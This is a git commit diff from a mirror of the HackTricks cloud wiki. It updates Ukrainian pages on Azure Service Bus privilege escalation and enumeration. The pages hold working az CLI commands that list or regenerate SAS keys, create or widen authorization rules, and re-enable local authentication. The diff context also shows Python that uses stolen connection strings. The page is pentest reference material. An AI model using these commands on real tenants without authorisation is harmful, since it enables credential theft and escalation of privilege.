mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 21:36:23 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,7 +10,79 @@
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Відправка повідомлень. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
### Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action АБО Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action
|
||||
|
||||
Ці дозволи дозволяють отримувати або регенерувати ключі для локальних правил авторизації в межах простору імен Service Bus. Використовуючи ці ключі, можливо аутентифікуватися як простір імен Service Bus, що дозволяє надсилати повідомлення в будь-яку чергу або тему, отримувати повідомлення з будь-якої черги або підписки, або потенційно взаємодіяти з системою способами, які можуть порушити операції, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
|
||||
|
||||
Зверніть увагу, що за замовчуванням **`RootManageSharedAccessKey` правило має повний контроль** над простором імен Service Bus і використовується `az` cli, однак можуть існувати й інші правила з іншими значеннями ключів.
|
||||
```bash
|
||||
# List keys
|
||||
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]
|
||||
|
||||
# Regenerate keys
|
||||
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/AuthorizationRules/write
|
||||
|
||||
З цим дозволом можливо **створити нове правило авторизації** з усіма дозволами та власними ключами за допомогою:
|
||||
```bash
|
||||
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send
|
||||
```
|
||||
>[!WARNING]
|
||||
>Ця команда не відповідає з ключами, тому вам потрібно отримати їх за допомогою попередніх команд (та дозволів), щоб підвищити привілеї.
|
||||
|
||||
Більше того, з цією командою (та `Microsoft.ServiceBus/namespaces/authorizationRules/read`) якщо ви виконаєте цю дію через Azure CLI, можливо оновити існуюче правило авторизації та надати йому більше дозволів (якщо їх не вистачало) за допомогою наступної команди:
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action
|
||||
|
||||
Конкретні теми та черги всередині простору імен Service Bus можуть мати свої власні правила авторизації, які можна використовувати для контролю доступу до сутності. Маючи ці дозволи, ви можете **отримати або відновити ключі для цих локальних правил авторизації**, що дозволяє вам аутентифікуватися як сутність і потенційно надсилати або отримувати повідомлення, керувати підписками або взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
|
||||
```bash
|
||||
# List keys (topics)
|
||||
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# Regenerate keys (topics)
|
||||
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# List keys (queues)
|
||||
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
|
||||
|
||||
# Regenerate keys (queues)
|
||||
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write
|
||||
|
||||
З цією дозволом можливо **створити нове правило авторизації** з усіма дозволами та власними ключами з:
|
||||
```bash
|
||||
# In a topic
|
||||
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
|
||||
# In a queue
|
||||
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
```
|
||||
>[!WARNING]
|
||||
>Ця команда не відповідає з ключами, тому вам потрібно отримати їх за допомогою попередніх команд (та дозволів), щоб підвищити привілеї.
|
||||
|
||||
Більше того, з цією командою (та `Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read`) якщо ви виконаєте цю дію через Azure CLI, можливо оновити існуюче правило авторизації та надати йому більше дозволів (якщо їх не вистачало) за допомогою наступної команди:
|
||||
```bash
|
||||
# In a topic
|
||||
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
|
||||
# In a queue
|
||||
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send
|
||||
```
|
||||
### Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)
|
||||
|
||||
З цими дозволами **зловмисник може повторно активувати "локальну аутентифікацію"** за допомогою наступної команди, і, отже, всі ключі з спільних політик будуть працювати.
|
||||
```bash
|
||||
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>
|
||||
```
|
||||
### Відправка повідомлень з ключами (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action АБО Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
|
||||
|
||||
Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю автентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
|
||||
```python
|
||||
@@ -81,7 +153,7 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### Отримати повідомлення. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
### Отримати з ключами (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action)
|
||||
|
||||
Ви можете отримати PrimaryConnectionString, який слугує обліковими даними для простору імен Service Bus. Використовуючи цей рядок підключення, ви можете отримувати повідомлення з будь-якої черги або підписки в межах простору імен, що дозволяє отримати доступ до потенційно чутливих або критичних даних, що дозволяє ексфільтрацію даних або втручання в обробку повідомлень і робочі процеси додатків.
|
||||
```python
|
||||
@@ -127,16 +199,6 @@ asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи спільні ключі доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та відправкою/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC).
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
|
||||
@@ -16,7 +16,7 @@ Azure Service Bus - це хмарна **служба обміну повідом
|
||||
- Кілька незалежних підписок отримують копії повідомлень.
|
||||
- Підписки можуть мати правила/фільтри для контролю доставки або додавання метаданих.
|
||||
- Підтримує комунікацію багато-до-багато.
|
||||
3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, схожий на вашу власну частину потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
|
||||
3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного кластера Azure, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
|
||||
|
||||
### Advance Features
|
||||
|
||||
@@ -47,25 +47,13 @@ SAS Policies визначають дозволи доступу для сутн
|
||||
|
||||
### NameSpace
|
||||
|
||||
sku, правило авторизації,
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
|
||||
# Namespace Enumeration
|
||||
az servicebus namespace list
|
||||
az servicebus namespace network-rule-set list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -79,6 +67,23 @@ az servicebus namespace authorization-rule list --resource-group <MyResourceGrou
|
||||
az servicebus queue authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --queue-name <MyQueue>
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
|
||||
# Get keys
|
||||
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]
|
||||
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>
|
||||
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <topic-name> --name <auth-rule-name>
|
||||
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user